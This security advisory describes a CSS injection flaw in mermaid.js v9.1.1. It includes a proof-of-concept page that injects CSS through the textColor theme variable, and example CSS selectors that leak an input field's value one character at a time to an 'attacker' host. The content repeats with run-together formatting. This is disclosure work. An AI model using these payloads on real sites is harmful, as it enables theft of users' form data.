An attacker is able to inject arbitrary CSS into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted CSS selectors.
The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the value attribute one character at a time. Whenever there is an actual match, an http request will be made by the browser in order to "load" a background image that will let an attacker know what's the value of the character.
input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }
...
input[name=secret][value^=go] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); }
...
input[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); }Patches
Has the problem been patched? What versions should users upgrade to?
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
References
Are there any links users can visit to find out more?
For more information
If you have any questions or comments about this advisory:
Product
mermaid.js
Tested Version
v9.1.1
Details
Issue 1: Multiple CSS Injection (GHSL-2022-036)
By supplying a carefully crafted textColor theme variable, an attacker can inject arbitrary CSS rules into the document. In the following snippet we can see that getStyles does not sanitize any of the theme variables leaving the door open for CSS injection.
Snippet from src/styles.js:
const getStyles = (type, userStyles, options) => {
return ` {
font-family: ${options.fontFamily};
font-size: ${options.fontSize};
fill: ${options.textColor}
}For example, if we set textColor to "green;} #target { background-color: crimson }" the resulting CSS will contain a new selector #target that will apply a crimson background color to an arbitrary element.
<html>
<body>
<div id="target">
<h1>This element does not belong to the SVG but we can style it</h1>
</div>
<svg id="diagram">
</svg>
<script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
<script>
mermaid.initialize({ startOnLoad: false });
const graph =
`
%%{ init: { "themeVariables" : { "textColor": "green;} #target { background-color: crimson }" } } }%%
graph TD
A[Goose]
`
const diagram = document.getElementById("diagram")
const svg = mermaid.render('diagram-svg', graph)
diagram.innerHTML = svg
</script>
</body>
</html>In the proof of concept above we used the textColor variable to inject CSS, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:
Impact
This issue may lead to Information Disclosure via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.
Remediation
Ensure that user input is adequately escaped before embedding it in CSS blocks.
References
An attacker is able to inject arbitrary
CSSinto the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially craftedCSSselectors.The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the
valueattribute one character at a time. Whenever there is an actual match, anhttprequest will be made by the browser in order to "load" a background image that will let an attacker know what's the value of the character.Patches
Has the problem been patched? What versions should users upgrade to?
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
References
Are there any links users can visit to find out more?
For more information
If you have any questions or comments about this advisory:
Product
mermaid.js
Tested Version
v9.1.1
Details
Issue 1: Multiple CSS Injection (
GHSL-2022-036)By supplying a carefully crafted
textColortheme variable, an attacker can inject arbitraryCSSrules into the document. In the following snippet we can see thatgetStylesdoes not sanitize any of the theme variables leaving the door open forCSSinjection.Snippet from src/styles.js:
For example, if we set
textColorto"green;} #target { background-color: crimson }"the resultingCSSwill contain a new selector#targetthat will apply acrimsonbackground color to an arbitrary element.In the proof of concept above we used the
textColorvariable to injectCSS, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:Impact
This issue may lead to
Information Disclosurevia CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.Remediation
Ensure that user input is adequately escaped before embedding it in CSS blocks.
References